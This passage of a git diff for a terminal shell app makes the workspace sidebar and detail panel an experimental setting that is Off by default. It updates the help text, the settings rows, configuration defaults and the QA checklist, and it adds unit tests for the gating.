+- [ ] 1.0a Fresh QA home: `/sidebar`, `/panel`, `/sidebar focus`: each prints that the regions are experimental and + Off and names Settings → Layout → Workspace sidebar & panel; nothing opens, the composer keeps the keyboard, and + `tput cols` is the full width before and after. +- [ ] 1.0b Settings → Layout shows **Workspace sidebar & panel Off** with its experimental description; Setup → Editor + shows the same row. `/keys` says the workspace bindings take no key while it is Off. `/worktrees`, `/sessions`, + `/github` and `/background` work as usual. +- [ ] 1.0c Turn it On in Settings, `/sidebar` then `/panel focus` at 160 columns: both dock and `tput cols` is the + middle width. Turn it Off in Settings: both close at once, focus is back in the composer, and `tput cols` is the full + width again; `/sidebar` opens nothing until it is turned on again. + +### 1E — experimental regions (optional; turn the setting On first; not a release gate) + - [ ] 1.1 At 200, 120, 100, 89, 80, 70 and 40 columns: `/sidebar`, then `/panel`. Wide: both dock, the transcript rewraps to the middle and `tput cols` in the shell matches the middle width. 70 and below: `/sidebar` opens a drawer with the keyboard; `tput cols` is unchanged (opening a drawer never resizes the shell); Esc tucks it and the @@ -76,7 +93,8 @@ ## Pass 5 — v0.19 core on the integrated build Repeat items 1.1–1.15 of [v019-physical-qa.md](v019-physical-qa.md) once on this build in Terminal.app with Bash or -Fish, with the sidebar docked for half of them. +Fish, with the default settings (the experimental workspace regions Off). Running half of them again with the +regions docked belongs to 1E and is optional. ## After the pass diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index aa1a2be5..cd180aa3 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -344,7 +344,7 @@ import {openEffortPicker, openModelPicker} from '../agents/input/pickers.js'; import {applyPickerChoice} from '../agents/input/surface.js'; import {settingsEffort} from '../agents/claudeSettings.js'; import {renderSidePanel, sidePanelShown, sidePanelWidth} from '../agents/workspace/sidePanel.js'; -import {WorkspaceHost} from './workspaceHost.js'; +import {WORKSPACE_DISABLED_MESSAGE, WorkspaceHost} from './workspaceHost.js'; import {BackgroundHost} from './backgroundHost.js'; import {entersBar, removalBlocked} from '../backgroundTasks/bar.js'; import {BackgroundManager} from '../backgroundTasks/manager.js'; @@ -414,7 +414,8 @@ const CONTEXT_SETTLE_MS = 150; export class TerminalApp { /** Workspace regions (#330): sidebar, detail panel, their focus and keymap. Declared first: dimensions() reads it. */ - private readonly workspace = new WorkspaceHost(); + /** The docked sidebar and detail panel: experimental, gated by the workspacePanels setting (Off by default). */ + private readonly workspace = new WorkspaceHost(() => this.configuration.workspacePanels); /** Background tasks of this session (#382): what the task owner reported, never run by the frontend itself. */ private readonly background = new BackgroundHost(); /** Task ids this window has already announced (a reattach adopts the existing list silently). */ @@ -523,6 +524,8 @@ export class TerminalApp { if (turnedOff) this.understanding?.modeChanged(); // Theme Bridge follows the same funnel: a theme, library or bridge change regenerates what Follow/Choose targets use. if (themeBridgeKey(previous) !== themeBridgeKey(next)) this.scheduleThemeBridge(); + // Experimental workspace regions turned Off: close them now; the next frame gives the PTY every column again. + if (!next.workspacePanels && this.workspace?.open) this.workspace.close(); } /** Optional local understanding; creates nothing until a feature is eligible to use it. */ private readonly understanding = new LocalUnderstanding(() => this.configuration.localUnderstanding); @@ -2774,7 +2777,7 @@ export class TerminalApp { else if (slash.kind === 'mods') this.openMods(slash.provider); else if (slash.kind === 'worktrees') await this.openWorktrees(); else if (slash.kind === 'workspace') { - await this.applyWorkspaceEffect(this.workspace.perform(slash.focus ? `${slash.region}.focus` : `${slash.region}.toggle`, this.terminalDimensions().columns)); + await this.applyWorkspaceEffect(this.workspace.perform(slash.focus ? `${slash.region}.focus` : `${slash.region}.toggle`, this.terminalDimensions().columns), command); } else if (slash.kind === 'keys') this.showWorkspaceKeys(command, slash.reload); else if (slash.kind === 'background') this.runBackgroundCommand(command); @@ -10010,7 +10013,8 @@ export class TerminalApp { /** Workspace keys after every panel and owner that comes first (they are protected anyway): true when consumed. */ private handleWorkspaceKey(key: Key): boolean { - if (!this.workspace.open && !this.workspace.bindings.some(binding => binding.context === 'composerEmpty')) return false; + // Experimental regions Off: keymap.json bindings stay as written but take no key; the key does what it always did. + if (!this.workspace.open && (!this.workspace.available || !this.workspace.bindings.some(binding => binding.context === 'composerEmpty'))) return false; const owner = this.workspaceOwner(); const {columns, rows} = this.terminalDimensions(); const effect = this.workspace.handleKey(key, {owner, columns, viewRows: Math.max(1, rows - 4), @@ -10020,8 +10024,9 @@ export class TerminalApp { return true; } - private async applyWorkspaceEffect(effect: WorkspaceEffect): Promise { + private async applyWorkspaceEffect(effect: WorkspaceEffect, command = '/sidebar'): Promise { if (effect.kind === 'none') return; + if (effect.kind === 'disabled') { this.output.addFrontendInteraction(command, WORKSPACE_DISABLED_MESSAGE, INFO); this.render(); return; } if (effect.kind === 'refresh') { this.render(); await this.refreshWorkspaceSources(); return; } if (effect.kind === 'intent') await this.performWorkspaceIntent(effect.intent); this.render(); @@ -10038,7 +10043,9 @@ export class TerminalApp { if (reload) this.workspace.loadKeymap(); const profile = keymapHostProfile(process.env); const notes = [...new Set(this.workspace.bindings.flatMap(binding => hostNotes(binding.key, profile)))]; - const lines = [...(reload ? ['keymap.json read again.'] : []), ...describeKeymap(this.workspace.bindings), + const lines = [...(reload ? ['keymap.json read again.'] : []), + ...(this.workspace.available ? [] : ['The workspace sidebar and detail panel are experimental and Off (Settings → Layout): the bindings below take no key until they are turned on.']), + ...describeKeymap(this.workspace.bindings), ...(this.workspace.problems.length ? ['Problems in keymap.json', ...this.workspace.problems.map(problem => ` ${problem.severity}${problem.entry === undefined ? '' : ` (entry ${problem.entry + 1})`}: ${problem.message}`)] : []), ...(notes.length ? ['Host notes', ...notes.map(note => ` ${note}`)] : [])]; this.output.addFrontendInteraction(command, lines.join('\n'), this.workspace.problems.some(problem => problem.severity === 'error') ? ERROR : INFO); diff --git a/src/app/workspaceHost.ts b/src/app/workspaceHost.ts index 711ad9cc..b831fa94 100644 --- a/src/app/workspaceHost.ts +++ b/src/app/workspaceHost.ts @@ -24,6 +24,8 @@ import type {WorktreeSnapshot} from '../worktrees/model.js'; export type WorkspaceEffect = | {kind: 'none'} + /** The experimental regions are Off: nothing opened; the frontend says how to turn them on. */ + | {kind: 'disabled'} | {kind: 'render'} | {kind: 'refresh'} | {kind: 'intent'; intent: ActivationIntent; resource: WorkspaceResource}; @@ -37,8 +39,18 @@ export interface WorkspaceSources { cwd: string; } +/** Actions that open or focus a region: the only ways in, so the experimental switch gates exactly these. */ +const OPENING: ReadonlySet = new Set(['sidebar.toggle', 'sidebar.focus', 'panel.toggle', 'panel.focus']); + +export const WORKSPACE_DISABLED_MESSAGE = 'The workspace sidebar and detail panel are experimental and Off. Turn them on in Settings → Layout → Workspace sidebar & panel (or Setup → Editor). /worktrees, /sessions, /github and /background work without them.'; + export class WorkspaceHost { state: WorkspaceFocusState = {owner: 'COMPOSER', sidebarOpen: false, panelOpen: false}; + /** `enabled`: the experimental setting (the frontend passes its configuration; on by default for the host alone). */ + constructor(private readonly enabled: () => boolean = () => true) {} + get available(): boolean { return this.enabled(); } + /** Close both regions and give the keyboard back to the composer (the setting was turned Off). */ + close(): void { this.state = {owner: 'COMPOSER', sidebarOpen: false, panelOpen: false}; this.message = undefined; } readonly sidebar = new SidebarController(); readonly panel = new PanelController(); bindings: readonly Binding[] = DEFAULT_BINDINGS; @@ -93,6 +105,7 @@ export class WorkspaceHost { } perform(action: WorkspaceActionId, columns: number, viewRows = 10): WorkspaceEffect { + if (!this.enabled() && OPENING.has(action) && !this.open) return {kind: 'disabled'}; this.message = undefined; if (isFocusAction(action)) { const before = this.state; diff --git a/src/ask/concepts.ts b/src/ask/concepts.ts index a2fce2fe..26846b8b 100644 --- a/src/ask/concepts.ts +++ b/src/ask/concepts.ts @@ -138,7 +138,7 @@ export const CONCEPTS: readonly Concept[] = [ description: '/background run starts a command in its own terminal beside the shell, without this shell\'s aliases, functions or unexported variables. The task bar above the composer (Up from an empty prompt, or Shift+Up) shows it; Enter opens its output, x stops it, Delete removes a finished one. /background lists every task. Nothing starts in the background unless you ask: suggestions are off until /background suggestions on.'}, {id: 'workspaceRegions', label: 'Workspace sidebar and detail panel', support: 'actionable', open: '/sidebar', covers: ['/sidebar', '/panel', '/keys'], aliases: ['sidebar', 'workspace sidebar', 'side bar', 'detail panel', 'details panel', 'workspace panel', 'keymap', 'workspace keys', 'tmux panes'], - description: '/sidebar shows tmux panes, worktrees and managers beside the transcript; /panel shows details for the selected item. Both are opened by command (focus with /sidebar focus or /panel focus); keys are opt-in through keymap.json, shown by /keys. Opening a worktree stages a cd; nothing runs by itself.'}, + description: 'Experimental, Off by default (Settings → Layout → Workspace sidebar & panel). When on, /sidebar shows tmux panes, worktrees and managers beside the transcript; /panel shows details for the selected item. Both are opened by command (focus with /sidebar focus or /panel focus); keys are opt-in through keymap.json, shown by /keys. Opening a worktree stages a cd; nothing runs by itself.'}, {id: 'githubWorkspace', label: 'GitHub pull requests and issues', support: 'actionable', open: '/github', covers: ['/github', '/prs', '/issues'], aliases: ['github', 'pull requests', 'pull request', 'prs', 'github issues', 'issues', 'pr checks', 'pr review', 'github workspace'], description: '/github (/prs, /issues) is a read-only view of this repository\'s pull requests and issues through your gh login: checks, reviews, commits, files and diffs. NMSh changes nothing on GitHub.'}, @@ -363,7 +363,7 @@ export const GUIDE_SECTIONS: readonly GuideSection[] = [ {id: 'ask', title: 'Ask', why: 'Plain-English help that knows NMSh, your commands and this repository, and never runs anything you did not confirm.', concepts: ['ask']}, {id: 'intelligence', title: 'Local intelligence', why: 'An optional local model helps Ask map vague requests to known actions. It runs on this machine, never writes commands, and Ask works fully without it.', concepts: ['understanding'], notes: ['Modes: Off, Auto (used only when the deterministic resolver is unsure) and Always (consulted first). /llm shows the model, runtime and last inference.']}, - {id: 'projects', title: 'Project & dev tasks', why: 'Ask reads this project\'s scripts (package.json, Makefile, Cargo, …) and can run them for you; /worktrees and /github show its worktrees, pull requests and issues, and /sidebar keeps tmux panes and worktrees beside the transcript.', concepts: ['worktrees', 'githubWorkspace', 'workspaceRegions', 'backgroundTasks'], + {id: 'projects', title: 'Project & dev tasks', why: 'Ask reads this project\'s scripts (package.json, Makefile, Cargo, …) and can run them for you; /worktrees and /github show its worktrees, pull requests and issues, and the experimental /sidebar can keep tmux panes and worktrees beside the transcript.', concepts: ['worktrees', 'githubWorkspace', 'workspaceRegions', 'backgroundTasks'], notes: ['Try: "run the tests" · "start the dev server" · "what scripts does this project have?"', 'Dev servers Ask starts run as NMSh-managed tasks: a live status row, detected URLs to open, and "stop the dev server" to end them. /background runs any long-running command beside the shell.']}, {id: 'files', title: 'Files, config & editor', why: 'Jump to folders, open what output mentions, and let Ask find and open config files or add/update a setting with a verified, previewed edit (it never removes settings).', concepts: ['navigation', 'editor', 'pastePreview', 'paste-batch']}, {id: 'providers', title: 'Providers & tools', why: 'Choose what powers each part of NMSh, and install optional tools with previewed recipes.', concepts: ['providers', 'welcome', 'tools', 'toolConfig', 'integrations', 'dotfiles', 'homebrew', 'agents']}, diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index 6b8e2257..083943d8 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -105,8 +105,8 @@ const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/extensions', insertion: '/extensions', description: 'Alias of /mods'}, {name: '/worktrees', insertion: '/worktrees', description: 'This repository\'s Git worktrees: open one, create or remove with a reviewed plan'}, {name: '/github', insertion: '/github', description: 'Read-only GitHub workspace for this repository: PRs, issues, checks and diffs (uses gh)'}, - {name: '/sidebar', insertion: '/sidebar', description: 'Workspace sidebar beside the transcript: tmux panes, worktrees and managers (/sidebar focus)'}, - {name: '/panel', insertion: '/panel', description: 'Detail panel for what the sidebar selects (/panel focus); q or /panel closes it'}, + {name: '/sidebar', insertion: '/sidebar', description: 'Experimental (Off by default; Settings → Layout): workspace sidebar beside the transcript: tmux panes, worktrees and managers'}, + {name: '/panel', insertion: '/panel', description: 'Experimental (Off by default; Settings → Layout): detail panel for what the sidebar selects; q or /panel closes it'}, {name: '/keys', insertion: '/keys', description: 'Workspace keys in effect, problems in keymap.json and host notes (/keys reload)'}, {name: '/background', insertion: '/background', description: 'Background tasks: list, output, stop and remove (/background run · stop|kill|remove t3 · clear · suggestions on|off)'}, {name: '/bg', insertion: '/bg', description: 'Same as /background'}, diff --git a/src/help/helpContent.ts b/src/help/helpContent.ts index 144dc4ec..3d429540 100644 --- a/src/help/helpContent.ts +++ b/src/help/helpContent.ts @@ -81,9 +81,11 @@ Use C in Paste Review to keep an ephemeral clip, or a block's Actions to keep it /clips suggestions on optionally checks macOS's native clipboard change counter while the composer is idle. It never reads clipboard contents. A changed counter suggests /ps; only that explicit command reads text for review. Suggestions default off, last only for this frontend, and stop with /clips suggestions off or if metadata fails. Linux clipboard tools have no supported metadata counter; background text polling is unsupported. -## Workspace sidebar and detail panel +## Workspace sidebar and detail panel (experimental) -/sidebar opens a sidebar beside the transcript: tmux panes of the server NMSh runs inside, this repository's worktrees, and links to /github, /agents and /sessions. /panel opens a detail panel for the selected item. /sidebar focus and /panel focus give them the keyboard; Esc returns to the composer and Tab moves between regions. In the sidebar, arrows move, Right/Left expand or collapse, Enter opens and / filters; in the panel, arrows and Page Up/Down scroll and q closes it. A click focuses a region. +Experimental and Off by default: turn it on in Settings → Layout → Workspace sidebar & panel (or Setup → Editor). While it is Off, /sidebar and /panel say how to turn it on and open nothing, and keymap.json workspace keys take no key. /worktrees, /sessions, /github and /background never depend on it. + +When it is On, /sidebar opens a sidebar beside the transcript: tmux panes of the server NMSh runs inside, this repository's worktrees, and links to /github, /agents and /sessions. /panel opens a detail panel for the selected item. /sidebar focus and /panel focus give them the keyboard; Esc returns to the composer and Tab moves between regions. In the sidebar, arrows move, Right/Left expand or collapse, Enter opens and / filters; in the panel, arrows and Page Up/Down scroll and q closes it. A click focuses a region. On a wide terminal the regions dock beside the transcript and the shell is sized to the middle. On a narrow one a region opens as a drawer over the transcript only while it has the keyboard, and the shell keeps its width. Fullscreen programs and idle visuals hide them. Opening a worktree stages its cd in an empty composer; it never runs by itself. diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index 56434ace..12cfbaff 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -648,6 +648,11 @@ export interface PromptConfiguration { agentActivity: boolean; /** Enter while a command runs queues the next command (Ctrl+S sends to the program); off: Enter sends to the program. */ commandQueue: boolean; + /** + * Experimental, Off by default: the docked workspace sidebar and detail panel (/sidebar, /panel). Off, neither opens + * and their keymap bindings do nothing; /worktrees, /sessions, /github and /background are unaffected. + */ + workspacePanels: boolean; /** Shell backend for new sessions; /shell switches only the current session unless saved as default. */ shellBackend: ShellId; /** Where /open and /open-diff delegate: the surrounding editor (auto), Zed, VS Code, or $VISUAL/$EDITOR. */ @@ -776,6 +781,7 @@ export const DEFAULT_PROMPT_CONFIGURATION: PromptConfiguration = { localUnderstanding: {mode: 'auto', ask: true, folding: false}, agentActivity: true, commandQueue: true, + workspacePanels: false, shellBackend: 'zsh', openWith: 'auto', terminalTitle: 'off', @@ -871,7 +877,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio : []; const promptSymbolCustom = normalizeCustomGlyph(value.promptSymbolCustom); const tooling = {motion: normalizeMotion(value.motion), pastePreview: (value.pastePreview === 'always' || value.pastePreview === 'off' ? value.pastePreview : 'smart') as 'smart' | 'always' | 'off', cursor: normalizeCursor(value.cursor), statusStrip: normalizeStatusStrip(value.statusStrip), keepAwake: normalizeKeepAwakePresentation(value.keepAwake), idleVisuals: normalizeIdleVisuals(value.idleVisuals), liveActivity: normalizeLiveActivity(value.liveActivity), uiChrome: normalizeUiChrome(value.uiChrome), - sessionNotices: value.sessionNotices !== false, copy: normalizeCopy(value.copy), agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, commandQueue: value.commandQueue !== false, askRecord: value.askRecord !== false, askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, + sessionNotices: value.sessionNotices !== false, copy: normalizeCopy(value.copy), agentProfiles: normalizeProfiles(value.agentProfiles), agentActivity: value.agentActivity !== false, commandQueue: value.commandQueue !== false, workspacePanels: value.workspacePanels === true, askRecord: value.askRecord !== false, askPresentation: value.askPresentation === 'normal' ? 'normal' as const : 'chat' as const, localUnderstanding: normalizeLocalUnderstanding(value.localUnderstanding), shellBackend: isShellId(value.shellBackend) ? value.shellBackend : 'zsh', openWith: OPEN_WITH_IDS.includes(value.openWith as OpenWith) ? value.openWith as OpenWith : 'auto', diff --git a/src/setup/SetupCat.ts b/src/setup/SetupCat.ts index 98ee7d44..3c988500 100644 --- a/src/setup/SetupCat.ts +++ b/src/setup/SetupCat.ts @@ -325,6 +325,9 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {id: 'editor', title: 'Editor', intro: ['The composer, syntax colors and suggestions.'], rows: [ {row: configRow('composerPosition')}, {row: configRow('composerDividers')}, + {row: configRow('workspacePanels'), note: draft => draft.workspacePanels + ? 'Experimental: /sidebar and /panel open beside the transcript and narrow it while docked' + : 'Off (default): /sidebar and /panel stay closed; /worktrees, /sessions, /github and /background are unaffected'}, {row: configRow('pastePreview')}, {row: configRow('copyMode'), note: draft => draft.copy.mode === 'picker' ? '/copy opens a list of recent outputs to choose from; /copy latest still copies at once' : '/copy copies the latest output at once; /copy ui opens the picker'}, {row: configRow('copyAutoExpand'), note: draft => draft.copy.autoExpand ? 'A copied block unfolds so you can see what was copied' : 'Copying never changes what is folded'}, diff --git a/src/ui/SettingsPanel.ts b/src/ui/SettingsPanel.ts index b9569f46..70976826 100644 --- a/src/ui/SettingsPanel.ts +++ b/src/ui/SettingsPanel.ts @@ -375,6 +375,8 @@ export const SETTINGS_ROWS: readonly SettingsRow[] = [ enumRow({id: 'transcriptPresentation', label: 'Transcript presentation', description: 'Normal rows, or Chat with commands on the right', category: 'Layout', values: TRANSCRIPT_PRESENTATIONS, labels: TRANSCRIPT_PRESENTATIONS.map(presentation => TRANSCRIPT_PRESENTATION_LABELS[presentation]), get: config => config.transcriptPresentation, set: (config, transcriptPresentation) => ({...config, transcriptPresentation})}), + {id: 'workspacePanels', label: 'Workspace sidebar & panel', description: 'Experimental, Off by default: /sidebar and /panel dock tmux panes, worktrees and details beside the transcript. Off, they never open; /worktrees, /sessions, /github and /background work either way', category: 'Layout', + control: 'boolean', get: config => config.workspacePanels, set: (config, workspacePanels) => ({...config, workspacePanels})}, {id: 'composerDividers', label: 'Composer dividers', description: 'The horizontal lines around the composer; Off gives their rows back. Transcript dividers and prompt separators are separate', category: 'Layout', control: 'boolean', get: config => config.composerDividers, set: (config, composerDividers) => ({...config, composerDividers})}, enumRow({id: 'copyMode', label: '/copy without a number', description: 'Quick Copy copies the latest command output at once; Interactive Picker lists recent outputs to choose one or several. /copy N, -N, A-B and 1,3,5 always copy directly', diff --git a/tests/workspaceExperimental.test.ts b/tests/workspaceExperimental.test.ts new file mode 100644 index 00000000..6494d56a --- /dev/null +++ b/tests/workspaceExperimental.test.ts @@ -0,0 +1,112 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {TerminalApp} from '../src/app/TerminalApp.js'; +import {WORKSPACE_DISABLED_MESSAGE, WorkspaceHost} from '../src/app/workspaceHost.js'; +import {parseSlashCommand, slashCommands} from '../src/commands/slashCommands.js'; +import {DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {createSetup, sectionIndex, SETUP_SECTIONS} from '../src/setup/SetupCat.js'; +import {SETTINGS_ROWS, settingsRowValue} from '../src/ui/SettingsPanel.js'; +import type {Binding} from '../src/workspace/keymap.js'; +import {stripAnsi} from '../src/util/text.js'; + +// The docked sidebar and detail panel are experimental and Off by default (workspace-ui-decision.md, v0.20). + +function app(columns: number, workspacePanels: boolean, rows = 30): TerminalApp { + const instance = new TerminalApp(); + Object.defineProperty(instance, 'render', {value: () => {}}); + Object.defineProperty(instance, 'terminalDimensions', {value: () => ({columns, rows})}); + instance['startupPending'] = false; + Object.defineProperty(instance, 'refreshWorkspaceSources', {value: async () => {}}); + instance['configuration'] = {...instance['configuration'], workspacePanels}; + const said: string[] = []; + Object.defineProperty(instance['output'], 'addFrontendInteraction', {value: (_command: string, text: string) => { said.push(text); }}); + Object.defineProperty(instance, 'said', {value: said}); + return instance; +} +const said = (instance: TerminalApp) => (instance as unknown as {said: string[]}).said.join('\n'); +const done = (instance: TerminalApp) => { instance['stop'](0); instance['session'].kill(); }; +const slash = async (instance: TerminalApp, text: string) => instance['runSlash'](text, parseSlashCommand(text)!); + +test('the setting: Off for new configurations; only an explicit true turns it on; it round-trips', () => { + assert.equal(DEFAULT_PROMPT_CONFIGURATION.workspacePanels, false); + assert.equal(normalizePromptConfiguration({}).workspacePanels, false, 'an existing configuration without it upgrades to Off'); + for (const value of ['true', 1, 'yes', null, {}]) assert.equal(normalizePromptConfiguration({workspacePanels: value} as never).workspacePanels, false); + const on = normalizePromptConfiguration({workspacePanels: true}); + assert.equal(on.workspacePanels, true); + assert.equal(normalizePromptConfiguration(JSON.parse(JSON.stringify(on))).workspacePanels, true, 'persists'); + // Every other saved choice is untouched by the new field. + const saved = normalizePromptConfiguration({commandQueue: false, composerPosition: 'top'}); + assert.equal(saved.commandQueue, false); + assert.equal(saved.composerPosition, 'top'); +}); + +test('discoverable: a labelled Settings → Layout row and a Setup → Editor row edit the same setting', () => { + const row = SETTINGS_ROWS.find(item => item.id === 'workspacePanels')!; + assert.ok(row, 'Settings row'); + assert.equal(row.category, 'Layout'); + assert.match(row.description, /Experimental, Off by default/u); + assert.equal(settingsRowValue(row, DEFAULT_PROMPT_CONFIGURATION), 'false'); + assert.ok(row.control === 'boolean' && row.set(DEFAULT_PROMPT_CONFIGURATION, true).workspacePanels); + const editor = SETUP_SECTIONS.find(section => section.id === 'editor')!; + assert.ok(editor.rows.some(item => item.row.id === 'workspacePanels'), 'in Setup'); + assert.equal(createSetup(DEFAULT_PROMPT_CONFIGURATION, 'editor').section, sectionIndex('editor')); + for (const name of ['/sidebar', '/panel']) assert.match(slashCommands.find(item => item.name === name)!.description, /^Experimental \(Off by default/u); +}); + +test('Off: /sidebar and /panel open nothing, say how to turn them on, and never resize the shell', async () => { + const instance = app(160, false); + try { + const before = instance['dimensions'](); + for (const command of ['/sidebar', '/panel', '/sidebar focus', '/panel focus']) { + await slash(instance, command); + assert.equal(instance['workspace'].open, false, `${command} opens nothing`); + assert.equal(instance['workspaceOwner'](), 'COMPOSER', 'the composer keeps the keyboard'); + assert.deepEqual(instance['dimensions'](), before, 'the PTY keeps every column'); + } + assert.ok(said(instance).includes('Settings → Layout → Workspace sidebar & panel'), WORKSPACE_DISABLED_MESSAGE); + assert.equal(instance['workspaceColumns']().ptyColumns, 160); + } finally { done(instance); } +}); + +test('Off: keymap.json workspace bindings stay as written but take no key', async () => { + const instance = app(160, false); + try { + const binding: Binding = {action: 'sidebar.focus', context: 'composerEmpty', key: {kind: 'left'}}; + instance['workspace'].bindings = [...instance['workspace'].bindings, binding]; + assert.equal(instance['handleWorkspaceKey']({kind: 'left'}), false, 'Left does what it always did'); + assert.equal(instance['workspace'].open, false); + assert.ok(instance['workspace'].bindings.includes(binding), 'the binding is kept, not removed'); + await slash(instance, '/keys'); + assert.ok(said(instance).includes('take no key until they are turned on'), '/keys says why'); + } finally { done(instance); } +}); + +test('On: /sidebar docks and narrows the shell as before; turning the setting Off closes both and gives every column back', async () => { + const instance = app(160, true); + try { + await slash(instance, '/sidebar'); + await slash(instance, '/panel focus'); + assert.equal(instance['workspace'].open, true); + assert.ok(instance['dimensions']().columns < 160, 'docked regions narrow the center'); + assert.equal(instance['workspaceOwner'](), 'RIGHT_PANEL'); + instance['promptConfiguration'] = {...instance['configuration'], workspacePanels: false}; + assert.equal(instance['workspace'].open, false, 'closed'); + assert.equal(instance['workspaceOwner'](), 'COMPOSER', 'focus back in the composer'); + assert.equal(instance['dimensions']().columns, 160, 'the PTY gets every column again'); + await slash(instance, '/sidebar'); + assert.equal(instance['workspace'].open, false, 'and stays closed while Off'); + } finally { done(instance); } +}); + +test('native commands never depend on the experimental regions', () => { + for (const command of ['/worktrees', '/sessions', '/github', '/background', '/keys']) { + assert.notEqual(parseSlashCommand(command)?.kind, 'unknown', command); + assert.notEqual(parseSlashCommand(command)?.kind, 'workspace', command); + } + // The host alone (as its own unit tests use it) is enabled; the gate is the frontend's setting. + const host = new WorkspaceHost(() => false); + assert.deepEqual(host.perform('sidebar.toggle', 160), {kind: 'disabled'}); + assert.deepEqual(host.perform('panel.focus', 160), {kind: 'disabled'}); + assert.equal(host.open, false); + assert.notDeepEqual(new WorkspaceHost().perform('sidebar.toggle', 160), {kind: 'disabled'}); +}); diff --git a/tests/workspaceIntegration.test.ts b/tests/workspaceIntegration.test.ts index 726d1768..8e46f336 100644 --- a/tests/workspaceIntegration.test.ts +++ b/tests/workspaceIntegration.test.ts @@ -14,6 +14,8 @@ function app(columns: number, rows = 30): TerminalApp { Object.defineProperty(instance, 'render', {value: () => {}}); Object.defineProperty(instance, 'terminalDimensions', {value: () => ({columns, rows})}); instance['startupPending'] = false; + // The regions are experimental and Off by default; these tests are about them, so they are turned on. + instance['configuration'] = {...instance['configuration'], workspacePanels: true}; // Listings are the test's: no tmux or Git is asked. Object.defineProperty(instance, 'refreshWorkspaceSources', {value: async () => {}}); return instance;